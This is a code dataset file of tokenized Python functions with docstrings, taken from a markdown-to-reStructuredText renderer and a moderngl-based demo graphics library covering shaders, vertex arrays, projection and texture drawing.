{"signature": "def table(self, header, body):", "body": "table = '<STR_LIT>'<EOL>if header and not header.isspace():<EOL><INDENT>table = (table + self.indent + '<STR_LIT>' +<EOL>self._indent_block(header) + '<STR_LIT:\\n>')<EOL><DEDENT>else:<EOL><INDENT>table = table + '<STR_LIT:\\n>'<EOL><DEDENT>table = table + self._indent_block(body) + '<STR_LIT>'<EOL>return table<EOL>", "docstring": "Rendering table element. Wrap header and body in it.\n\n        :param header: header part of the table.\n        :param body: body part of the table.", "id": "f14381:c4:m10"}
{"signature": "def table_row(self, content):", "body": "contents = content.splitlines()<EOL>if not contents:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>clist = ['<STR_LIT>' + contents[<NUM_LIT:0>]]<EOL>if len(contents) > <NUM_LIT:1>:<EOL><INDENT>for c in contents[<NUM_LIT:1>:]:<EOL><INDENT>clist.append('<STR_LIT:U+0020>' + c)<EOL><DEDENT><DEDENT>return '<STR_LIT:\\n>'.join(clist) + '<STR_LIT:\\n>'<EOL>", "docstring": "Rendering a table row. Like ``<tr>``.\n\n        :param content: content of current table row.", "id": "f14381:c4:m11"}
{"signature": "def table_cell(self, content, **flags):", "body": "return '<STR_LIT>' + content + '<STR_LIT:\\n>'<EOL>", "docstring": "Rendering a table cell. Like ``<th>`` ``<td>``.\n\n        :param content: content of current table cell.\n        :param header: whether this is header or not.\n        :param align: align of current table cell.", "id": "f14381:c4:m12"}
{"signature": "def double_emphasis(self, text):", "body": "return '<STR_LIT>'.format(text)<EOL>", "docstring": "Rendering **strong** text.\n\n        :param text: text content for emphasis.", "id": "f14381:c4:m13"}
{"signature": "def emphasis(self, text):", "body": "return '<STR_LIT>'.format(text)<EOL>", "docstring": "Rendering *emphasis* text.\n\n        :param text: text content for emphasis.", "id": "f14381:c4:m14"}
{"signature": "def codespan(self, text):", "body": "if '<STR_LIT>' not in text:<EOL><INDENT>return '<STR_LIT>'.format(text)<EOL><DEDENT>else:<EOL><INDENT>return self._raw_html(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(text.replace('<STR_LIT>', '<STR_LIT>')))<EOL><DEDENT>", "docstring": "Rendering inline `code` text.\n\n        :param text: text content for inline code.", "id": "f14381:c4:m15"}
{"signature": "def linebreak(self):", "body": "if self.options.get('<STR_LIT>'):<EOL><INDENT>return self._raw_html('<STR_LIT>') + '<STR_LIT:\\n>'<EOL><DEDENT>return self._raw_html('<STR_LIT>') + '<STR_LIT:\\n>'<EOL>", "docstring": "Rendering line break like ``<br>``.", "id": "f14381:c4:m16"}
{"signature": "def strikethrough(self, text):", "body": "return self._raw_html('<STR_LIT>'.format(text))<EOL>", "docstring": "Rendering ~~strikethrough~~ text.\n\n        :param text: text content for strikethrough.", "id": "f14381:c4:m17"}
{"signature": "def text(self, text):", "body": "return text<EOL>", "docstring": "Rendering unformatted text.\n\n        :param text: text content.", "id": "f14381:c4:m18"}
{"signature": "def autolink(self, link, is_email=False):", "body": "return link<EOL>", "docstring": "Rendering a given link or email address.\n\n        :param link: link content or email address.\n        :param is_email: whether this is an email or not.", "id": "f14381:c4:m19"}
{"signature": "def link(self, link, title, text):", "body": "if title:<EOL><INDENT>raise NotImplementedError('<STR_LIT>')<EOL><DEDENT>return '<STR_LIT>'.format(target=link, text=text)<EOL>", "docstring": "Rendering a given link with content and title.\n\n        :param link: href link for ``<a>`` tag.\n        :param title: title content for `title` attribute.\n        :param text: text content for description.", "id": "f14381:c4:m20"}
{"signature": "def image(self, src, title, text):", "body": "<EOL>return '<STR_LIT:\\n>'.join([<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'.format(src),<EOL>'<STR_LIT>'.format(src),<EOL>'<STR_LIT>'.format(text),<EOL>'<STR_LIT>',<EOL>])<EOL>", "docstring": "Rendering a image with title and text.\n\n        :param src: source link of the image.\n        :param title: title text of the image.\n        :param text: alt text of the image.", "id": "f14381:c4:m21"}
{"signature": "def inline_html(self, html):", "body": "return self._raw_html(html)<EOL>", "docstring": "Rendering span level pure html content.\n\n        :param html: text content of the html snippet.", "id": "f14381:c4:m22"}
{"signature": "def newline(self):", "body": "return '<STR_LIT>'<EOL>", "docstring": "Rendering newline element.", "id": "f14381:c4:m23"}
{"signature": "def footnote_ref(self, key, index):", "body": "return '<STR_LIT>'.format(key)<EOL>", "docstring": "Rendering the ref anchor of a footnote.\n\n        :param key: identity key for the footnote.\n        :param index: the index count of current footnote.", "id": "f14381:c4:m24"}
{"signature": "def footnote_item(self, key, text):", "body": "return '<STR_LIT>'.format(key, text.strip())<EOL>", "docstring": "Rendering a footnote item.\n\n        :param key: identity key for the footnote.\n        :param text: text content of the footnote.", "id": "f14381:c4:m25"}
{"signature": "def footnotes(self, text):", "body": "if text:<EOL><INDENT>return '<STR_LIT>' + text<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "Wrapper for all footnotes.\n\n        :param text: contents of all footnotes.", "id": "f14381:c4:m26"}
{"signature": "def inline_math(self, math):", "body": "return '<STR_LIT>'.format(math)<EOL>", "docstring": "Extension of recommonmark", "id": "f14381:c4:m30"}
{"signature": "def eol_literal_marker(self, marker):", "body": "return marker<EOL>", "docstring": "Extension of recommonmark", "id": "f14381:c4:m31"}
{"signature": "def run(self):", "body": "if not self.state.document.settings.file_insertion_enabled:<EOL><INDENT>raise self.warning('<STR_LIT>' % self.name)<EOL><DEDENT>source = self.state_machine.input_lines.source(<EOL>self.lineno - self.state_machine.input_offset - <NUM_LIT:1>)<EOL>source_dir = os.path.dirname(os.path.abspath(source))<EOL>path = rst.directives.path(self.arguments[<NUM_LIT:0>])<EOL>path = os.path.normpath(os.path.join(source_dir, path))<EOL>path = utils.relative_path(None, path)<EOL>path = nodes.reprunicode(path)<EOL>encoding = self.options.get(<EOL>'<STR_LIT>', self.state.document.settings.input_encoding)<EOL>e_handler = self.state.document.settings.input_encoding_error_handler<EOL>tab_width = self.options.get(<EOL>'<STR_LIT>', self.state.document.settings.tab_width)<EOL>try:<EOL><INDENT>self.state.document.settings.record_dependencies.add(path)<EOL>include_file = io.FileInput(source_path=path,<EOL>encoding=encoding,<EOL>error_handler=e_handler)<EOL><DEDENT>except UnicodeEncodeError as error:<EOL><INDENT>raise self.severe('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(self.name, SafeString(path)))<EOL><DEDENT>except IOError as error:<EOL><INDENT>raise self.severe('<STR_LIT>' %<EOL>(self.name, ErrorString(error)))<EOL><DEDENT>try:<EOL><INDENT>rawtext = include_file.read()<EOL><DEDENT>except UnicodeError as error:<EOL><INDENT>raise self.severe('<STR_LIT>' %<EOL>(self.name, ErrorString(error)))<EOL><DEDENT>config = self.state.document.settings.env.config<EOL>converter = M2R(no_underscore_emphasis=config.no_underscore_emphasis)<EOL>include_lines = statemachine.string2lines(converter(rawtext),<EOL>tab_width,<EOL>convert_whitespace=True)<EOL>self.state_machine.insert_input(include_lines, path)<EOL>return []<EOL>", "docstring": "Most of this method is from ``docutils.parser.rst.Directive``.\n\n        docutils version: 0.12", "id": "f14381:c7:m0"}
{"signature": "def validate(self, filename, module, classname, ignore):", "body": "with open(os.path.normpath(os.path.join('<STR_LIT>', '<STR_LIT>', filename))) as f:<EOL><INDENT>docs = f.read()<EOL><DEDENT>module = module_loading.import_module(module)<EOL>methods = re.findall(r'<STR_LIT>', docs, flags=re.M)<EOL>attributes = re.findall(r'<STR_LIT>', docs, flags=re.M)<EOL>documented = set(filter(lambda x: x.startswith(classname), [a for a in methods] + attributes))<EOL>implemented = set(classname + '<STR_LIT:.>' + x for x in dir(getattr(module, classname))<EOL>if not x.startswith('<STR_LIT:_>') or x == '<STR_LIT>')<EOL>print(implemented)<EOL>ignored = set(classname + '<STR_LIT:.>' + x for x in ignore)<EOL>self.assertSetEqual(implemented - documented - ignored, set(), msg='<STR_LIT>')<EOL>self.assertSetEqual(documented - implemented - ignored, set(), msg='<STR_LIT>')<EOL>", "docstring": "Finds all automethod and autoattribute statements in an rst file\ncomparing them to the attributes found in the actual class", "id": "f14387:c0:m0"}
{"signature": "def local(path):", "body": "return os.path.join(__name__.split('<STR_LIT:.>')[-<NUM_LIT:2>], path)<EOL>", "docstring": "Prepend the effect package name to a path so resources\ncan still be loaded when copied into a new effect package.", "id": "f14397:m0"}
{"signature": "def local(path):", "body": "return os.path.join(__name__.split('<STR_LIT:.>')[-<NUM_LIT:2>], path)<EOL>", "docstring": "Prepend the effect package name to a path so resources\ncan still be loaded when copied into a new effect package.", "id": "f14399:m0"}
{"signature": "@property<EOL><INDENT>def ctx(self) -> moderngl.Context:<DEDENT>", "body": "return context.ctx()<EOL>", "docstring": "The moderngl context", "id": "f14402:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def from_single(cls, meta: ProgramDescription, source: str):<DEDENT>", "body": "instance = cls(meta)<EOL>instance.vertex_source = ShaderSource(<EOL>VERTEX_SHADER,<EOL>meta.path or meta.vertex_shader,<EOL>source<EOL>)<EOL>if GEOMETRY_SHADER in source:<EOL><INDENT>instance.geometry_source = ShaderSource(<EOL>GEOMETRY_SHADER,<EOL>meta.path or meta.geometry_shader,<EOL>source,<EOL>)<EOL><DEDENT>if FRAGMENT_SHADER in source:<EOL><INDENT>instance.fragment_source = ShaderSource(<EOL>FRAGMENT_SHADER,<EOL>meta.path or meta.fragment_shader,<EOL>source,<EOL>)<EOL><DEDENT>if TESS_CONTROL_SHADER in source:<EOL><INDENT>instance.tess_control_source = ShaderSource(<EOL>TESS_CONTROL_SHADER,<EOL>meta.path or meta.tess_control_shader,<EOL>source,<EOL>)<EOL><DEDENT>if TESS_EVALUATION_SHADER in source:<EOL><INDENT>instance.tess_evaluation_source = ShaderSource(<EOL>TESS_EVALUATION_SHADER,<EOL>meta.path or meta.tess_evaluation_shader,<EOL>source,<EOL>)<EOL><DEDENT>return instance<EOL>", "docstring": "Initialize a single glsl string containing all shaders", "id": "f14402:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def from_separate(cls, meta: ProgramDescription, vertex_source, geometry_source=None, fragment_source=None,<EOL>tess_control_source=None, tess_evaluation_source=None):<DEDENT>", "body": "instance = cls(meta)<EOL>instance.vertex_source = ShaderSource(<EOL>VERTEX_SHADER,<EOL>meta.path or meta.vertex_shader,<EOL>vertex_source,<EOL>)<EOL>if geometry_source:<EOL><INDENT>instance.geometry_source = ShaderSource(<EOL>GEOMETRY_SHADER,<EOL>meta.path or meta.geometry_shader,<EOL>geometry_source,<EOL>)<EOL><DEDENT>if fragment_source:<EOL><INDENT>instance.fragment_source = ShaderSource(<EOL>FRAGMENT_SHADER,<EOL>meta.path or meta.fragment_shader,<EOL>fragment_source,<EOL>)<EOL><DEDENT>if tess_control_source:<EOL><INDENT>instance.tess_control_source = ShaderSource(<EOL>TESS_CONTROL_SHADER,<EOL>meta.path or meta.tess_control_shader,<EOL>tess_control_source,<EOL>)<EOL><DEDENT>if tess_evaluation_source:<EOL><INDENT>instance.tess_evaluation_source = ShaderSource(<EOL>TESS_EVALUATION_SHADER,<EOL>meta.path or meta.tess_control_shader,<EOL>tess_evaluation_source,<EOL>)<EOL><DEDENT>return instance<EOL>", "docstring": "Initialize multiple shader strings", "id": "f14402:c0:m3"}
{"signature": "def create(self):", "body": "<EOL>out_attribs = []<EOL>if not self.fragment_source:<EOL><INDENT>if self.geometry_source:<EOL><INDENT>out_attribs = self.geometry_source.find_out_attribs()<EOL><DEDENT>else:<EOL><INDENT>out_attribs = self.vertex_source.find_out_attribs()<EOL><DEDENT><DEDENT>program = self.ctx.program(<EOL>vertex_shader=self.vertex_source.source,<EOL>geometry_shader=self.geometry_source.source if self.geometry_source else None,<EOL>fragment_shader=self.fragment_source.source if self.fragment_source else None,<EOL>tess_control_shader=self.tess_control_source.source if self.tess_control_source else None,<EOL>tess_evaluation_shader=self.tess_evaluation_source.source if self.tess_evaluation_source else None,<EOL>varyings=out_attribs,<EOL>)<EOL>program.extra = {'<STR_LIT>': self.meta}<EOL>return program<EOL>", "docstring": "Creates a shader program.\n\nReturns:\n    ModernGL Program instance", "id": "f14402:c0:m4"}
{"signature": "def find_out_attribs(self):", "body": "names = []<EOL>for line in self.lines:<EOL><INDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>names.append(line.split()[<NUM_LIT:2>].replace('<STR_LIT:;>', '<STR_LIT>'))<EOL><DEDENT><DEDENT>return names<EOL>", "docstring": "Get all out attributes in the shader source.\n\n:return: List of attribute names", "id": "f14402:c1:m1"}
{"signature": "def print(self):", "body": "print(\"<STR_LIT>\".format(self.name))<EOL>for i, line in enumerate(self.lines):<EOL><INDENT>print(\"<STR_LIT>\".format(str(i).zfill(<NUM_LIT:3>), line))<EOL><DEDENT>print(\"<STR_LIT>\".format(self.name))<EOL>", "docstring": "Print the shader lines", "id": "f14402:c1:m2"}
{"signature": "def __init__(self, meta: ProgramDescription, program: moderngl.Program):", "body": "self.program = program<EOL>self.meta = meta<EOL>", "docstring": "Create a shader using either a file path or a name\n:param meta: The ProgramMeta\n:param program: The program instance", "id": "f14402:c3:m0"}
{"signature": "@property<EOL><INDENT>def mglo(self):<DEDENT>", "body": "return self.program.mglo<EOL>", "docstring": "The ModernGL Program object", "id": "f14402:c3:m6"}
{"signature": "@property<EOL><INDENT>def glo(self) -> int:<DEDENT>", "body": "return self.program.glo<EOL>", "docstring": "int: The internal OpenGL object.\nThis values is provided for debug purposes only.", "id": "f14402:c3:m7"}
{"signature": "@property<EOL><INDENT>def subroutines(self) -> Tuple[str, ...]:<DEDENT>", "body": "return self.program.subroutines<EOL>", "docstring": "tuple: The subroutine uniforms.", "id": "f14402:c3:m8"}
{"signature": "@property<EOL><INDENT>def geometry_input(self) -> int:<DEDENT>", "body": "return self.program.geometry_input<EOL>", "docstring": "int: The geometry input primitive.\nThe GeometryShader's input primitive if the GeometryShader exists.\nThe geometry input primitive will be used for validation.", "id": "f14402:c3:m9"}
{"signature": "@property<EOL><INDENT>def geometry_output(self) -> int:<DEDENT>", "body": "return self.program.geometry_output<EOL>", "docstring": "int: The geometry output primitive.\nThe GeometryShader's output primitive if the GeometryShader exists.", "id": "f14402:c3:m10"}
{"signature": "@property<EOL><INDENT>def geometry_vertices(self) -> int:<DEDENT>", "body": "return self.program.geometry_vertices<EOL>", "docstring": "int: The maximum number of vertices that\nthe geometry shader will output.", "id": "f14402:c3:m11"}
{"signature": "def __init__(self, buffer: moderngl.Buffer, buffer_format: str, attributes=None, per_instance=False):", "body": "self.buffer = buffer<EOL>self.attrib_formats = types.parse_attribute_formats(buffer_format)<EOL>self.attributes = attributes<EOL>self.per_instance = per_instance<EOL>if self.buffer.size % self.vertex_size != <NUM_LIT:0>:<EOL><INDENT>raise VAOError(\"<STR_LIT>\".format(<EOL>buffer_format, self.vertex_size, self.buffer.size % self.vertex_size<EOL>))<EOL><DEDENT>self.vertices = self.buffer.size // self.vertex_size<EOL>", "docstring": ":param buffer: The vbo object\n:param format: The format of the buffer", "id": "f14403:c0:m0"}
{"signature": "def content(self, attributes: List[str]):", "body": "formats = []<EOL>attrs = []<EOL>for attrib_format, attrib in zip(self.attrib_formats, self.attributes):<EOL><INDENT>if attrib not in attributes:<EOL><INDENT>formats.append(attrib_format.pad_str())<EOL>continue<EOL><DEDENT>formats.append(attrib_format.format)<EOL>attrs.append(attrib)<EOL>attributes.remove(attrib)<EOL><DEDENT>if not attrs:<EOL><INDENT>return None<EOL><DEDENT>return (<EOL>self.buffer,<EOL>\"<STR_LIT>\".format(\"<STR_LIT:U+0020>\".join(formats), '<STR_LIT>' if self.per_instance else '<STR_LIT>'),<EOL>*attrs<EOL>)<EOL>", "docstring": "Build content tuple for the buffer", "id": "f14403:c0:m2"}
{"signature": "def __init__(self, name=\"<STR_LIT>\", mode=moderngl.TRIANGLES):", "body": "self.ctx = context.ctx()<EOL>self.name = name<EOL>self.mode = mode<EOL>try:<EOL><INDENT>DRAW_MODES[self.mode]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise VAOError(\"<STR_LIT>\".format(DRAW_MODES.values()))<EOL><DEDENT>self.buffers = []<EOL>self._index_buffer = None<EOL>self._index_element_size = None<EOL>self.vertex_count = <NUM_LIT:0><EOL>self.vaos = {}<EOL>", "docstring": "Create and empty VAO\n\nKeyword Args:\n    name (str): The name for debug purposes\n    mode (int): Default draw mode", "id": "f14403:c1:m0"}
{"signature": "def render(self, program: moderngl.Program, mode=None, vertices=-<NUM_LIT:1>, first=<NUM_LIT:0>, instances=<NUM_LIT:1>):", "body": "vao = self.instance(program)<EOL>if mode is None:<EOL><INDENT>mode = self.mode<EOL><DEDENT>vao.render(mode, vertices=vertices, first=first, instances=instances)<EOL>", "docstring": "Render the VAO.\n\nArgs:\n    program: The ``moderngl.Program``\n\nKeyword Args:\n    mode: Override the draw mode (``TRIANGLES`` etc)\n    vertices (int): The number of vertices to transform\n    first (int): The index of the first vertex to start with\n    instances (int): The number of instances", "id": "f14403:c1:m1"}
{"signature": "def render_indirect(self, program: moderngl.Program, buffer, mode=None, count=-<NUM_LIT:1>, *, first=<NUM_LIT:0>):", "body": "vao = self.instance(program)<EOL>if mode is None:<EOL><INDENT>mode = self.mode<EOL><DEDENT>vao.render_indirect(buffer, mode=mode, count=count, first=first)<EOL>", "docstring": "The render primitive (mode) must be the same as the input primitive of the GeometryShader.\nThe draw commands are 5 integers: (count, instanceCount, firstIndex, baseVertex, baseInstance).\n\nArgs:\n    program: The ``moderngl.Program``\n    buffer: The ``moderngl.Buffer`` containing indirect draw commands\n\nKeyword Args:\n    mode (int): By default :py:data:`TRIANGLES` will be used.\n    count (int): The number of draws.\n    first (int): The index of the first indirect draw command.", "id": "f14403:c1:m2"}
{"signature": "def transform(self, program: moderngl.Program, buffer: moderngl.Buffer,<EOL>mode=None, vertices=-<NUM_LIT:1>, first=<NUM_LIT:0>, instances=<NUM_LIT:1>):", "body": "vao = self.instance(program)<EOL>if mode is None:<EOL><INDENT>mode = self.mode<EOL><DEDENT>vao.transform(buffer, mode=mode, vertices=vertices, first=first, instances=instances)<EOL>", "docstring": "Transform vertices. Stores the output in a single buffer.\n\nArgs:\n    program: The ``moderngl.Program``\n    buffer: The ``moderngl.buffer`` to store the output\n\nKeyword Args:\n    mode: Draw mode (for example ``moderngl.POINTS``)\n    vertices (int): The number of vertices to transform\n    first (int): The index of the first vertex to start with\n    instances (int): The number of instances", "id": "f14403:c1:m3"}
{"signature": "def buffer(self, buffer, buffer_format: str, attribute_names, per_instance=False):", "body": "if not isinstance(attribute_names, list):<EOL><INDENT>attribute_names = [attribute_names, ]<EOL><DEDENT>if not type(buffer) in [moderngl.Buffer, numpy.ndarray, bytes]:<EOL><INDENT>raise VAOError(<EOL>(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(type(buffer))<EOL>)<EOL>)<EOL><DEDENT>if isinstance(buffer, numpy.ndarray):<EOL><INDENT>buffer = self.ctx.buffer(buffer.tobytes())<EOL><DEDENT>if isinstance(buffer, bytes):<EOL><INDENT>buffer = self.ctx.buffer(data=buffer)<EOL><DEDENT>formats = buffer_format.split()<EOL>if len(formats) != len(attribute_names):<EOL><INDENT>raise VAOError(\"<STR_LIT>\".format(buffer_format, attribute_names))<EOL><DEDENT>self.buffers.append(BufferInfo(buffer, buffer_format, attribute_names, per_instance=per_instance))<EOL>self.vertex_count = self.buffers[-<NUM_LIT:1>].vertices<EOL>return buffer<EOL>", "docstring": "Register a buffer/vbo for the VAO. This can be called multiple times.\nadding multiple buffers (interleaved or not)\n\nArgs:\n    buffer: The buffer data. Can be ``numpy.array``, ``moderngl.Buffer`` or ``bytes``.\n    buffer_format (str): The format of the buffer. (eg. ``3f 3f`` for interleaved positions and normals).\n    attribute_names: A list of attribute names this buffer should map to.\n\nKeyword Args:\n    per_instance (bool): Is this buffer per instance data for instanced rendering?\n\nReturns:\n    The ``moderngl.Buffer`` instance object. This is handy when providing ``bytes`` and ``numpy.array``.", "id": "f14403:c1:m4"}
{"signature": "def index_buffer(self, buffer, index_element_size=<NUM_LIT:4>):", "body": "if not type(buffer) in [moderngl.Buffer, numpy.ndarray, bytes]:<EOL><INDENT>raise VAOError(\"<STR_LIT>\")<EOL><DEDENT>if isinstance(buffer, numpy.ndarray):<EOL><INDENT>buffer = self.ctx.buffer(buffer.tobytes())<EOL><DEDENT>if isinstance(buffer, bytes):<EOL><INDENT>buffer = self.ctx.buffer(data=buffer)<EOL><DEDENT>self._index_buffer = buffer<EOL>self._index_element_size = index_element_size<EOL>", "docstring": "Set the index buffer for this VAO\n\nArgs:\n    buffer: ``moderngl.Buffer``, ``numpy.array`` or ``bytes``\n\nKeyword Args:\n    index_element_size (int): Byte size of each element. 1, 2 or 4", "id": "f14403:c1:m5"}
{"signature": "def instance(self, program: moderngl.Program) -> moderngl.VertexArray:", "body": "vao = self.vaos.get(program.glo)<EOL>if vao:<EOL><INDENT>return vao<EOL><DEDENT>program_attributes = [name for name, attr in program._members.items() if isinstance(attr, moderngl.Attribute)]<EOL>for attrib_name in program_attributes:<EOL><INDENT>if attrib_name.startswith('<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>if not sum(buffer.has_attribute(attrib_name) for buffer in self.buffers):<EOL><INDENT>raise VAOError(\"<STR_LIT>\".format(<EOL>self.name, attrib_name, program.name))<EOL><DEDENT><DEDENT>vao_content = []<EOL>for buffer in self.buffers:<EOL><INDENT>content = buffer.content(program_attributes)<EOL>if content:<EOL><INDENT>vao_content.append(content)<EOL><DEDENT><DEDENT>if program_attributes:<EOL><INDENT>for attrib_name in program_attributes:<EOL><INDENT>if attrib_name.startswith('<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>raise VAOError(\"<STR_LIT>\".format([n for n in program_attributes]))<EOL><DEDENT><DEDENT>if self._index_buffer:<EOL><INDENT>vao = context.ctx().vertex_array(program, vao_content,<EOL>self._index_buffer, self._index_element_size)<EOL><DEDENT>else:<EOL><INDENT>vao = context.ctx().vertex_array(program, vao_content)<EOL><DEDENT>self.vaos[program.glo] = vao<EOL>return vao<EOL>", "docstring": "Obtain the ``moderngl.VertexArray`` instance for the program.\nThe instance is only created once and cached internally.\n\nReturns: ``moderngl.VertexArray`` instance", "id": "f14403:c1:m6"}
{"signature": "def release(self, buffer=True):", "body": "for key, vao in self.vaos:<EOL><INDENT>vao.release()<EOL><DEDENT>if buffer:<EOL><INDENT>for buff in self.buffers:<EOL><INDENT>buff.buffer.release()<EOL><DEDENT>if self._index_buffer:<EOL><INDENT>self._index_buffer.release()<EOL><DEDENT><DEDENT>", "docstring": "Destroy the vao object\n\nKeyword Args:\n    buffers (bool): also release buffers", "id": "f14403:c1:m7"}
{"signature": "def buffer_format(frmt: str) -> BufferFormat:", "body": "try:<EOL><INDENT>return BUFFER_FORMATS[frmt]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(<EOL>frmt, BUFFER_FORMATS.keys()<EOL>))<EOL><DEDENT>", "docstring": "Look up info about a buffer format\n:param frmt: format string such as 'f', 'i' and 'u'\n:return: BufferFormat instance", "id": "f14404:m0"}
{"signature": "def attribute_format(frmt: str) -> BufferFormat:", "body": "try:<EOL><INDENT>return ATTRIBUTE_FORMATS[frmt]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(<EOL>frmt, ATTRIBUTE_FORMATS.keys()<EOL>))<EOL><DEDENT>", "docstring": "Look up info about an attribute format\n:param frmt: Format of an\n:return: BufferFormat instance", "id": "f14404:m1"}
{"signature": "def __init__(self, format_string: str, components: int, bytes_per_component: int):", "body": "self.format = format_string<EOL>self.components = components<EOL>self.bytes_per_component = bytes_per_component<EOL>", "docstring": ":param format_string: moderngl format string\n:param components: components\n:param byte_size: byte per component", "id": "f14404:c0:m0"}
{"signature": "def pad_str(self) -> str:", "body": "return \"<STR_LIT>\".format(self.components, self.bytes_per_component)<EOL>", "docstring": "Padding string used my moderngl in interleaved buffers", "id": "f14404:c0:m2"}
{"signature": "def update(self, aspect_ratio=None, fov=None, near=None, far=None):", "body": "self.aspect_ratio = aspect_ratio or self.aspect_ratio<EOL>self.fov = fov or self.fov<EOL>self.near = near or self.near<EOL>self.far = far or self.far<EOL>self.matrix = Matrix44.perspective_projection(self.fov, self.aspect_ratio, self.near, self.far)<EOL>", "docstring": "Update the internal projection matrix based on current values\nor values passed in if specified.\n\n:param aspect_ratio: New aspect ratio\n:param fov: New field of view\n:param near: New near value\n:param far: New far value", "id": "f14405:c0:m1"}
{"signature": "@property<EOL><INDENT>def projection_constants(self):<DEDENT>", "body": "return self.far / (self.far - self.near), (self.far * self.near) / (self.near - self.far)<EOL>", "docstring": "Returns the (x, y) projection constants for the current projection.\n:return: x, y tuple projection constants", "id": "f14405:c0:m3"}
{"signature": "def draw(self, texture, pos=(<NUM_LIT:0.0>, <NUM_LIT:0.0>), scale=(<NUM_LIT:1.0>, <NUM_LIT:1.0>)):", "body": "if not self.initialized:<EOL><INDENT>self.init()<EOL><DEDENT>self._texture2d_shader[\"<STR_LIT>\"].value = (pos[<NUM_LIT:0>] - <NUM_LIT:1.0>, pos[<NUM_LIT:1>] - <NUM_LIT:1.0>)<EOL>self._texture2d_shader[\"<STR_LIT>\"].value = (scale[<NUM_LIT:0>], scale[<NUM_LIT:1>])<EOL>texture.use(location=<NUM_LIT:0>)<EOL>self._texture2d_sampler.use(location=<NUM_LIT:0>)<EOL>self._texture2d_shader[\"<STR_LIT>\"].value = <NUM_LIT:0><EOL>self._quad.render(self._texture2d_shader)<EOL>self._texture2d_sampler.clear(location=<NUM_LIT:0>)<EOL>", "docstring": "Draw texture using a fullscreen quad.\nBy default this will conver the entire screen.\n\n:param pos: (tuple) offset x, y\n:param scale: (tuple) scale x, y", "id": "f14406:c0:m3"}
{"signature": "def draw_depth(self, texture, near, far, pos=(<NUM_LIT:0.0>, <NUM_LIT:0.0>), scale=(<NUM_LIT:1.0>, <NUM_LIT:1.0>)):", "body": "if not self.initialized:<EOL><INDENT>self.init()<EOL><DEDENT>self._depth_shader[\"<STR_LIT>\"].value = (pos[<NUM_LIT:0>] - <NUM_LIT:1.0>, pos[<NUM_LIT:1>] - <NUM_LIT:1.0>)<EOL>self._depth_shader[\"<STR_LIT>\"].value = (scale[<NUM_LIT:0>], scale[<NUM_LIT:1>])<EOL>self._depth_shader[\"<STR_LIT>\"].value = near<EOL>self._depth_shader[\"<STR_LIT>\"].value = far<EOL>self._depth_sampler.use(location=<NUM_LIT:0>)<EOL>texture.use(location=<NUM_LIT:0>)<EOL>self._depth_shader[\"<STR_LIT>\"].value = <NUM_LIT:0><EOL>self._quad.render(self._depth_shader)<EOL>self._depth_sampler.clear(location=<NUM_LIT:0>)<EOL>", "docstring": "Draw depth buffer linearized.\nBy default this will draw the texture as a full screen quad.\nA sampler will be used to ensure the right conditions to draw the depth buffer.\n\n:param near: Near plane in projection\n:param far: Far plane in projection\n:param pos: (tuple) offset x, y\n:param scale: (tuple) scale x, y", "id": "f14406:c0:m4"}
{"signature": "def _init_texture2d_draw(self):", "body": "if not TextureHelper._quad:<EOL><INDENT>TextureHelper._quad = geometry.quad_fs()<EOL><DEDENT>TextureHelper._texture2d_shader = context.ctx().program(<EOL>vertex_shader=\"\"\"<STR_LIT>\"\"\",<EOL>fragment_shader=\"\"\"<STR_LIT>\"\"\"<EOL>)<EOL>TextureHelper._texture2d_sampler = self.ctx.sampler(<EOL>filter=(moderngl.LINEAR, moderngl.LINEAR),<EOL>)<EOL>", "docstring": "Initialize geometry and shader for drawing FBO layers", "id": "f14406:c0:m5"}
{"signature": "def _init_depth_texture_draw(self):", "body": "from demosys import geometry<EOL>if not TextureHelper._quad:<EOL><INDENT>TextureHelper._quad = geometry.quad_fs()<EOL><DEDENT>TextureHelper._depth_shader = context.ctx().program(<EOL>vertex_shader=\"\"\"<STR_LIT>\"\"\",<EOL>fragment_shader=\"\"\"<STR_LIT>\"\"\"<EOL>)<EOL>TextureHelper._depth_sampler = self.ctx.sampler(<EOL>filter=(moderngl.LINEAR, moderngl.LINEAR),<EOL>compare_func='<STR_LIT>',<EOL>)<EOL>", "docstring": "Initialize geometry and shader for drawing FBO layers", "id": "f14406:c0:m6"}
{"signature": "@functools.lru_cache(maxsize=None)<EOL>def get_finder(import_path):", "body": "Finder = import_string(import_path)<EOL>if not issubclass(Finder, BaseFileSystemFinder):<EOL><INDENT>raise ImproperlyConfigured('<STR_LIT>'.format(import_path))<EOL><DEDENT>return Finder()<EOL>", "docstring": "Get a finder class from an import path.\nRaises ``demosys.core.exceptions.ImproperlyConfigured`` if the finder is not found.\nThis function uses an lru cache.\n\n:param import_path: string representing an import path\n:return: An instance of the finder", "id": "f14409:m0"}
{"signature": "def find(self, path: Path):", "body": "<EOL>if getattr(self, '<STR_LIT>', None):<EOL><INDENT>self.paths = getattr(settings, self.settings_attr)<EOL><DEDENT>path_found = None<EOL>for entry in self.paths:<EOL><INDENT>abspath = entry / path<EOL>if abspath.exists():<EOL><INDENT>path_found = abspath<EOL><DEDENT><DEDENT>return path_found<EOL>", "docstring": "Find a file in the path. The file may exist in multiple\npaths. The last found file will be returned.\n\n:param path: The path to find\n:return: The absolute path to the file or None if not found", "id": "f14409:c0:m1"}
